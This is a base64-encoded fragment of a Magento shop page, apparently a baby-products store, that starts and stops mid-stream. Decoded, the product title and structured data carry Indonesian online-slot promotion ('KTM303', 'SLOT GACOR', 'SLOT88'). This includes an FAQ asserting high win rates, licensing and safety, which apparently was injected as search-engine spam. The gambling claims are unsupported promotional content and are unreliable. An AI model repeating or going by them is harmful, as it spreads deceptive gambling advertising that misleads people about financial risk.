J0J10iOiB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgIk1hZ2VudG9fVWkvanMvY29yZS9hcHAiOiB7ImNvbXBvbmVudHMiOnsibWluaWNhcnRfY29udGVudCI6eyJjaGlsZHJlbiI6eyJzdWJ0b3RhbC5jb250YWluZXIiOnsiY2hpbGRyZW4iOnsic3VidG90YWwiOnsiY2hpbGRyZW4iOnsic3VidG90YWwudG90YWxzIjp7ImNvbmZpZyI6eyJkaXNwbGF5X2NhcnRfc3VidG90YWxfaW5jbF90YXgiOjAsImRpc3BsYXlfY2FydF9zdWJ0b3RhbF9leGNsX3RheCI6MSwidGVtcGxhdGUiOiJNYWdlbnRvX1RheFwvY2hlY2tvdXRcL21pbmljYXJ0XC9zdWJ0b3RhbFwvdG90YWxzIn0sImNvbXBvbmVudCI6Ik1hZ2VudG9fVGF4XC9qc1wvdmlld1wvY2hlY2tvdXRcL21pbmljYXJ0XC9zdWJ0b3RhbFwvdG90YWxzIiwiY2hpbGRyZW4iOnsic3VidG90YWwudG90YWxzLm1zcnAiOnsiY29tcG9uZW50IjoiTWFnZW50b19Nc3JwXC9qc1wvdmlld1wvY2hlY2tvdXRcL21pbmljYXJ0XC9zdWJ0b3RhbFwvdG90YWxzIiwiY29uZmlnIjp7ImRpc3BsYXlBcmVhIjoibWluaWNhcnQtc3VidG90YWwtaGlkZGVuIiwidGVtcGxhdGUiOiJNYWdlbnRvX01zcnBcL2NoZWNrb3V0XC9taW5pY2FydFwvc3VidG90YWxcL3RvdGFscyJ9fX19fSwiY29tcG9uZW50IjoidWlDb21wb25lbnQiLCJjb25maWciOnsidGVtcGxhdGUiOiJNYWdlbnRvX0NoZWNrb3V0XC9taW5pY2FydFwvc3VidG90YWwifX19LCJjb21wb25lbnQiOiJ1aUNvbXBvbmVudCIsImNvbmZpZyI6eyJkaXNwbGF5QXJlYSI6InN1YnRvdGFsQ29udGFpbmVyIn19LCJpdGVtLnJlbmRlcmVyIjp7ImNvbXBvbmVudCI6Ik1hZ2VudG9fQ2hlY2tvdXRcL2pzXC92aWV3XC9jYXJ0LWl0ZW0tcmVuZGVyZXIiLCJjb25maWciOnsiZGlzcGxheUFyZWEiOiJkZWZhdWx0UmVuZGVyZXIiLCJ0ZW1wbGF0ZSI6Ik1hZ2VudG9fQ2hlY2tvdXRcL21pbmljYXJ0XC9pdGVtXC9kZWZhdWx0In0sImNoaWxkcmVuIjp7Iml0ZW0uaW1hZ2UiOnsiY29tcG9uZW50IjoiTWFnZW50b19DYXRhbG9nXC9qc1wvdmlld1wvaW1hZ2UiLCJjb25maWciOnsidGVtcGxhdGUiOiJNYWdlbnRvX0NhdGFsb2dcL3Byb2R1Y3RcL2ltYWdlIiwiZGlzcGxheUFyZWEiOiJpdGVtSW1hZ2UifX0sImNoZWNrb3V0LmNhcnQuaXRlbS5wcmljZS5zaWRlYmFyIjp7ImNvbXBvbmVudCI6InVpQ29tcG9uZW50IiwiY29uZmlnIjp7InRlbXBsYXRlIjoiTWFnZW50b19DaGVja291dFwvbWluaWNhcnRcL2l0ZW1cL3ByaWNlIiwiZGlzcGxheUFyZWEiOiJwcmljZVNpZGViYXIifX19fSwiZXh0cmFfaW5mbyI6eyJjb21wb25lbnQiOiJ1aUNvbXBvbmVudCIsImNvbmZpZyI6eyJkaXNwbGF5QXJlYSI6ImV4dHJhSW5mbyJ9fSwicHJvbW90aW9uIjp7ImNvbXBvbmVudCI6InVpQ29tcG9uZW50IiwiY29uZmlnIjp7ImRpc3BsYXlBcmVhIjoicHJvbW90aW9uIn19fSwiY29uZmlnIjp7Im92ZXJyaWRlX21pbmljYXJ0IjpmYWxzZSwiaXRlbVJlbmRlcmVyIjp7ImRlZmF1bHQiOiJkZWZhdWx0UmVuZGVyZXIiLCJzaW1wbGUiOiJkZWZhdWx0UmVuZGVyZXIiLCJ2aXJ0dWFsIjoiZGVmYXVsdFJlbmRlcmVyIn0sInRlbXBsYXRlIjoiTWFnZW50b19DaGVja291dFwvbWluaWNhcnRcL2NvbnRlbnQifSwiY29tcG9uZW50IjoiTWFnZW50b19DaGVja291dFwvanNcL3ZpZXdcL21pbmljYXJ0In0sImFqYXhwcm9fbWluaWNhcnRfY29udGVudCI6eyJjaGlsZHJlbiI6eyJzdWJ0b3RhbC5jb250YWluZXIiOnsiY2hpbGRyZW4iOnsic3VidG90YWwiOnsiY2hpbGRyZW4iOnsic3VidG90YWwudG90YWxzIjp7ImNvbmZpZyI6eyJkaXNwbGF5X2NhcnRfc3VidG90YWxfaW5jbF90YXgiOjAsImRpc3BsYXlfY2FydF9zdWJ0b3RhbF9leGNsX3RheCI6MX19fX19fX0sImNvbmZpZyI6eyJvdmVycmlkZV9taW5pY2FydCI6ZmFsc2V9fX0sInR5cGVzIjpbXX0gICAgICAgIH0sCiAgICAgICAgICAgICAgICAgICAgICAiKiI6IHsKICAgICAgICAgICAgICAgICAgICAgICAgICAiTWFnZW50b19VaS9qcy9ibG9jay1sb2FkZXIiOiAiaHR0cHNcdTAwM0FcdTAwMkZcdTAwMkZ3d3cubW90aGVyY2FyZS5jby5pZFx1MDAyRnN0YXRpY1x1MDAyRnZlcnNpb24xNzQxOTYzMzQ1XHUwMDJGZnJvbnRlbmRcdTAwMkZDb2RpbGFyXHUwMDJGbW90aGVyY2FyZVx1MDAyRmlkX0lEXHUwMDJGaW1hZ2VzXHUwMDJGbG9hZGVyXHUwMDJEMS5naWYiCiAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgPC9zY3JpcHQ%2BCiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICA8L2Rpdj4KICAgICAgPC9oZWFkZXI%2BCiAgICAgIDxkaXYgY2xhc3M9ImJyZWFkY3J1bWJzIj48L2Rpdj4KICAgICAgPHNjcmlwdCB0eXBlPSJ0ZXh0L3gtbWFnZW50by1pbml0Ij4KICAgICAgICAgewogICAgICAgICAgICAgIi5icmVhZGNydW1icyI6IHsKICAgICAgICAgICAgICAgICAiYnJlYWRjcnVtYnMiOiB7ImNhdGVnb3J5VXJsU3VmZml4IjoiLmh0bWwiLCJ1c2VDYXRlZ29yeVBhdGhJblVybCI6MCwicHJvZHVjdCI6Ik5vcmRpYyBOYXR1cmFscyBCYWJ5JiMwMzk7cyBESEEifSAgICAgICAgfQogICAgICAgICB9CiAgICAgIDwvc2NyaXB0PgogICAgICA8bWFpbiBpZD0ibWFpbmNvbnRlbnQiIGNsYXNzPSJwYWdlLW1haW4iPgogICAgICAgICA8ZGl2IGlkPSJjb250ZW50YXJlYSI%2BPC9kaXY%2BCiAgICAgICAgIDxkaXYgY2xhc3M9InBhZ2UgbWVzc2FnZXMiPgogICAgICAgICAgICA8ZGl2IGRhdGEtcGxhY2Vob2xkZXI9Im1lc3NhZ2VzIj48L2Rpdj4KICAgICAgICAgICAgPGRpdiBkYXRhLWJpbmQ9InNjb3BlOiAnbWVzc2FnZXMnIj4KICAgICAgICAgICAgICAgPCEtLSBrbyBpZjogY29va2llTWVzc2FnZXMgJiYgY29va2llTWVzc2FnZXMubGVuZ3RoID4gMCAtLT4KICAgICAgICAgICAgICAgPGRpdiBhcmlhLWF0b21pYz0idHJ1ZSIgcm9sZT0iYWxlcnQiIGRhdGEtYmluZD0iZm9yZWFjaDogeyBkYXRhOiBjb29raWVNZXNzYWdlcywgYXM6ICdtZXNzYWdlJyB9IiBjbGFzcz0ibWVzc2FnZXMiPgogICAgICAgICAgICAgICAgICA8ZGl2IGRhdGEtYmluZD0iYXR0cjogewogICAgICAgICAgICAgICAgICAgICBjbGFzczogJ21lc3NhZ2UtJyArIG1lc3NhZ2UudHlwZSArICcgJyArIG1lc3NhZ2UudHlwZSArICcgbWVzc2FnZScsCiAgICAgICAgICAgICAgICAgICAgICdkYXRhLXVpLWlkJzogJ21lc3NhZ2UtJyArIG1lc3NhZ2UudHlwZQogICAgICAgICAgICAgICAgICAgICB9Ij4KICAgICAgICAgICAgICAgICAgICAgPGRpdiBkYXRhLWJpbmQ9Imh0bWw6ICRwYXJlbnQucHJlcGFyZU1lc3NhZ2VGb3JIdG1sKG1lc3NhZ2UudGV4dCkiPjwvZGl2PgogICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgIDwhLS0gL2tvIC0tPgogICAgICAgICAgICAgICA8IS0tIGtvIGlmOiBtZXNzYWdlcygpLm1lc3NhZ2VzICYmIG1lc3NhZ2VzKCkubWVzc2FnZXMubGVuZ3RoID4gMCAtLT4KICAgICAgICAgICAgICAgPGRpdiBhcmlhLWF0b21pYz0idHJ1ZSIgcm9sZT0iYWxlcnQiIGNsYXNzPSJtZXNzYWdlcyIgZGF0YS1iaW5kPSJmb3JlYWNoOiB7CiAgICAgICAgICAgICAgICAgIGRhdGE6IG1lc3NhZ2VzKCkubWVzc2FnZXMsIGFzOiAnbWVzc2FnZScKICAgICAgICAgICAgICAgICAgfSI%2BCiAgICAgICAgICAgICAgICAgIDxkaXYgZGF0YS1iaW5kPSJhdHRyOiB7CiAgICAgICAgICAgICAgICAgICAgIGNsYXNzOiAnbWVzc2FnZS0nICsgbWVzc2FnZS50eXBlICsgJyAnICsgbWVzc2FnZS50eXBlICsgJyBtZXNzYWdlJywKICAgICAgICAgICAgICAgICAgICAgJ2RhdGEtdWktaWQnOiAnbWVzc2FnZS0nICsgbWVzc2FnZS50eXBlCiAgICAgICAgICAgICAgICAgICAgIH0iPgogICAgICAgICAgICAgICAgICAgICA8ZGl2IGRhdGEtYmluZD0iaHRtbDogJHBhcmVudC5wcmVwYXJlTWVzc2FnZUZvckh0bWwobWVzc2FnZS50ZXh0KSI%2BPC9kaXY%2BCiAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgPCEtLSAva28gLS0%2BCiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8c2NyaXB0IHR5cGU9InRleHQveC1tYWdlbnRvLWluaXQiPgogICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAiKiI6IHsKICAgICAgICAgICAgICAgICAgICAgICAiTWFnZW50b19VaS9qcy9jb3JlL2FwcCI6IHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgImNvbXBvbmVudHMiOiB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIm1lc3NhZ2VzIjogewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiY29tcG9uZW50IjogIk1hZ2VudG9fVGhlbWUvanMvdmlldy9tZXNzYWdlcyIKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgPC9zY3JpcHQ%2BCiAgICAgICAgIDwvZGl2PgogICAgICAgICA8ZGl2IGNsYXNzPSJjb2x1bW5zIj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sdW1uIG1haW4iPgogICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJwcm9kdWN0LWluZm8td3JhcHBlciI%2BCiAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InByb2R1Y3QtaW5mby1tYWluIj4KICAgICAgICAgICAgICAgICAgICAgPHN0eWxlPgogICAgICAgICAgICAgICAgICAgICAgICAubXBzdG9yZXBpY2t1cC1hdmFpbGFibGUtc3RvcmUtaW5mbyB7CiAgICAgICAgICAgICAgICAgICAgICAgIHdpZHRoOiA3OCU7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgLm1wc3RvcmVwaWNrdXAtcGNzIHsKICAgICAgICAgICAgICAgICAgICAgICAgcmlnaHQ6IDA7CiAgICAgICAgICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA2MDA7CiAgICAgICAgICAgICAgICAgICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTsKICAgICAgICAgICAgICAgICAgICAgICAgd2lkdGg6IDIwJTsKICAgICAgICAgICAgICAgICAgICAgICAgcGFkZGluZy1yaWdodDogMTJweDsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAubXBzdG9yZXBpY2t1cC1hdmFpbGFibGUgewogICAgICAgICAgICAgICAgICAgICAgICBkaXNwbGF5OiBpbmxpbmUtZmxleDsKICAgICAgICAgICAgICAgICAgICAgICAgd2lkdGg6IDEwMCU7CiAgICAgICAgICAgICAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDIwcHgKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAubXBzdG9yZXBpY2t1cC1hdmFpbGFibGUtY29udGVudCAucGlja3VwLWNoZWNrYm94IHsKICAgICAgICAgICAgICAgICAgICAgICAgbWFyZ2luLXRvcDogLTIwcHg7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgLyoubXBzdG9yZXBpY2t1cC1wY3Mubm90LWlzLXNpbXBsZXsqLwogICAgICAgICAgICAgICAgICAgICAgICAvKiAgICBkaXNwbGF5OiBub25lOyovCiAgICAgICAgICAgICAgICAgICAgICAgIC8qfSovCiAgICAgICAgICAgICAgICAgICAgICAgIC5tcHN0b3JlcGlja3VwLXBjcyAuY291bnQ6YWZ0ZXJ7CiAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRlbnQ6JyBwY3MuJwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICNtcHN0b3JlcGlja3VwLWF2YWlsYWJsZS1wb3B1cCAuc3RvcmUtcGlja3VwIHsKICAgICAgICAgICAgICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMTRweDsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICA8L3N0eWxlPgogICAgICAgICAgICAgICAgICAgICA8c3R5bGU%2BCiAgICAgICAgICAgICAgICAgICAgICAgIC5tcHN0b3JlcGlja3VwLWF2YWlsYWJsZS1jb250ZW50IC5waWNrdXAtY2hlY2tib3ggewogICAgICAgICAgICAgICAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgLm1mcC13cmFwIHsKICAgICAgICAgICAgICAgICAgICAgICAgcG9zaXRpb246IGZpeGVkOwogICAgICAgICAgICAgICAgICAgICAgICBvdmVyZmxvdzogYXV0bzsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICA8L3N0eWxlPgogICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJwcm9kdWN0LWluZm8iPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJwYWdlLXRpdGxlLXdyYXBwZXIgcHJvZHVjdCI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoMSBjbGFzcz0icGFnZS10aXRsZSI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJiYXNlIiBkYXRhLXVpLWlkPSJwYWdlLXRpdGxlLXdyYXBwZXIiIGl0ZW1wcm9wPSJuYW1lIj5LVE0zMDM6IFJhaWggTW9tZW4gS2VtZW5hbmdhbiBCZXNhciBEZW5nYW4gUGVuZ2FsYW1hbiBCZXJtYWluIE1vZGVybjwvc3Bhbj4gICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvaDE%2BCiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJwcm9kdWN0LWluZm8tcHJpY2UiPgogICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJwcmljZS1ib3ggcHJpY2UtZmluYWxfcHJpY2UiIGRhdGEtcm9sZT0icHJpY2VCb3giIGRhdGEtcHJvZHVjdC1pZD0iNjAwMTkzIiBkYXRhLXByaWNlLWJveD0icHJvZHVjdC1pZC02MDAxOTMiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJwcmljZS13aXRoLWRpc2NvdW50Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9Im5vcm1hbC1wcmljZSI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJwcmljZS1jb250YWluZXIgcHJpY2UtZmluYWxfcHJpY2UgdGF4IHdlZWUiIGl0ZW1wcm9wPSJvZmZlcnMiIGl0ZW1zY29wZSBpdGVtdHlwZT0iaHR0cDovL3NjaGVtYS5vcmcvT2ZmZXIiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0icHJpY2UtbGFiZWwiPlNlcmVuZGFoPC9zcGFuPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBpZD0icHJvZHVjdC1wcmljZS02MDAxOTMiIGRhdGEtcHJpY2UtYW1vdW50PSI4ODgiIGRhdGEtcHJpY2UtdHlwZT0iZmluYWxQcmljZSIgY2xhc3M9InByaWNlLXdyYXBwZXIgIj48c3BhbiBjbGFzcz0icHJpY2UiPlJwIDUuMDAwPC9zcGFuPjwvc3Bhbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG1ldGEgaXRlbXByb3A9ImF2YWlsYWJpbGl0eSIgY29udGVudD0iIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG1ldGEgaXRlbXByb3A9InNoaXBwaW5nRGV0YWlscyIgY29udGVudD0iIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG1ldGEgaXRlbXByb3A9Imhhc01lcmNoYW50UmV0dXJuUG9saWN5IiBjb250ZW50PSIiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bWV0YSBpdGVtcHJvcD0icHJpY2UiIGNvbnRlbnQ9Ijg4OCI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxtZXRhIGl0ZW1wcm9wPSJwcmljZUN1cnJlbmN5IiBjb250ZW50PSJJRFIiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3NwYW4%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzY3JpcHQgdHlwZT0iYXBwbGljYXRpb24vbGQranNvbiI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiQGNvbnRleHQiOiAiaHR0cHM6Ly9zY2hlbWEub3JnIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiQHR5cGUiOiAiT3JnYW5pemF0aW9uIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAibmFtZSI6ICJTTE9UIEdBQ09SIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAidXJsIjogImh0dHBzOi8va3RtLWZzYWluc3VuY3AtZ2Fjb3IucGFnZXMuZGV2LyIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImxvZ28iOiAiaHR0cHM6Ly9pay5pbWFnZWtpdC5pby91YzQ2NmNtZmtsLzA4ZGQwYWNhLWVkNDItNGM4ZC1iZTZjLThmNmVhNWExZTZmYy5wbmc%2FdXBkYXRlZEF0PTE3ODk0NjgwNTU2MTYiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJkZXNjcmlwdGlvbiI6ICJLVE0zMDMgbWVuZ2hhZGlya2FuIHBlbmdhbGFtYW4gYmVybWFpbiBtb2Rlcm4gZGVuZ2FuIHBpbGloYW4gcGVybWFpbmFuIGJlcmFnYW0sIHRhbXBpbGFuIG1lbmFyaWssIHNlcnRhIGFrc2VzIHByYWt0aXMgdW50dWsgbWVuaWttYXRpIHNldGlhcCBtb21lbiBzZXJ1IHNlY2FyYSBueWFtYW4gZGFuIGJpamFrLiIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImZvdW5kaW5nRGF0ZSI6ICIyMDI0IiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiY29udGFjdFBvaW50IjogewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkB0eXBlIjogIkNvbnRhY3RQb2ludCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAidGVsZXBob25lIjogIis2Mi0wMDAtMDAwMC0wMDAwIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJjb250YWN0VHlwZSI6ICJjdXN0b21lciBzZXJ2aWNlIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJhcmVhU2VydmVkIjogIklEIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJhdmFpbGFibGVMYW5ndWFnZSI6IFsiSW5kb25lc2lhbiJdCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAic2FtZUFzIjogWwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImh0dHBzOi8vZmFjZWJvb2suY29tL1NMT1Q4OCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiaHR0cHM6Ly9pbnN0YWdyYW0uY29tL1NMT1Q4OCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiaHR0cHM6Ly90d2l0dGVyLmNvbS9TTE9UODgiCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvc2NyaXB0PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2NyaXB0IHR5cGU9ImFwcGxpY2F0aW9uL2xkK2pzb24iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkBjb250ZXh0IjogImh0dHBzOi8vc2NoZW1hLm9yZyIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkB0eXBlIjogIkZBUVBhZ2UiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJtYWluRW50aXR5IjogWwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiQHR5cGUiOiAiUXVlc3Rpb24iLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAibmFtZSI6ICJBcGEgaXR1IFNMT1Q4OD8iLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiYWNjZXB0ZWRBbnN3ZXIiOiB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkB0eXBlIjogIkFuc3dlciIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRleHQiOiAiS1RNMzAzIG1lbmdoYWRpcmthbiBwZW5nYWxhbWFuIGJlcm1haW4gbW9kZXJuIGRlbmdhbiBwaWxpaGFuIHBlcm1haW5hbiBiZXJhZ2FtLCB0YW1waWxhbiBtZW5hcmlrLCBzZXJ0YSBha3NlcyBwcmFrdGlzIHVudHVrIG1lbmlrbWF0aSBzZXRpYXAgbW9tZW4gc2VydSBzZWNhcmEgbnlhbWFuIGRhbiBiaWphay4iCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJAdHlwZSI6ICJRdWVzdGlvbiIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJuYW1lIjogIktldW5nZ3VsYW4gQmVybWFpbiBEaSBTaXR1cyBTTE9UODg%2FIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImFjY2VwdGVkQW5zd2VyIjogewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJAdHlwZSI6ICJBbnN3ZXIiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ0ZXh0IjogIktldW5nZ3VsYW4geWFuZyBtZW1idWF0IFNMT1Q4OCBtZW5qYWRpIHNpdHVzIHNsb3QgZ2Fjb3IgdGVyYmFpayB0ZXJsZXRhayBwYWRhIFJUUCB5YW5nIHRpbmdnaSwgbWVtYmVyaWthbiBwZWx1YW5nIGtlbWVuYW5nYW4gbGViaWggYmVzYXIgZGkgc2V0aWFwIHB1dGFyYW4uIE1lbWJ1YXQgcGVuZ2FsYW1hbiBiZXJtYWluIHNlbWFraW4gc2VydSBkYW4ganVnYSBtZW5ndW50dW5na2FuLiIKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkB0eXBlIjogIlF1ZXN0aW9uIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIm5hbWUiOiAiTWV0b2RlIHBlbWJheWFyYW4gYXBhIHNhamEgeWFuZyBiaXNhIHNheWEgZ3VuYWthbiBkaSBTTE9UODg%2FIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImFjY2VwdGVkQW5zd2VyIjogewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJAdHlwZSI6ICJBbnN3ZXIiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ0ZXh0IjogIlNMT1Q4OCBtZW55ZWRpYWthbiBiZXJiYWdhaSBtZXRvZGUgcGVtYmF5YXJhbiB5YW5nIHRlcnBlcmNheWEgZGFuIGFtYW4uIFNlcGVydGksIFRyYW5zZmVyIGJhbmssIEUtV2FsbGV0IChEYW5hLE9WTyxHb1BheSxkYW4gbGFpbiBsYWluKSwgTWV0b2RlIHBlbWJheWFyYW4gbGFpbm55YSBzZXBlcnRpIHB1bHNhIGF0YXUgY3J5cHRvY3VycmVuY3ksIEthcnR1IGtyZWRpdCBhdGF1IGRlYml0LiIKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkB0eXBlIjogIlF1ZXN0aW9uIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIm5hbWUiOiAiQXBha2FoIFNMT1Q4OCBhbWFuIHVudHVrIGRpbWFpbmthbj8iLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiYWNjZXB0ZWRBbnN3ZXIiOiB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkB0eXBlIjogIkFuc3dlciIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRleHQiOiAiU0xPVDg4IG1lcnVwYWthbiBwbGF0Zm9ybSB5YW5nIHN1ZGFoIGJlcmxpc2Vuc2kgZGFuIGJlcm9wZXJhc2kgc2VzdWFpIGRlbmdhbiBwZXJhdHVyYW4geWFuZyBiZXJsYWt1IGRhbGFtIGluZHVzdHJpIHBlcmp1ZGlhbiBvbmxpbmUsIHNlaGluZ2dhIGFtYW4gdW50dWsgYW5kYSBtYWlua2FuIS4iCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJAdHlwZSI6ICJRdWVzdGlvbiIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC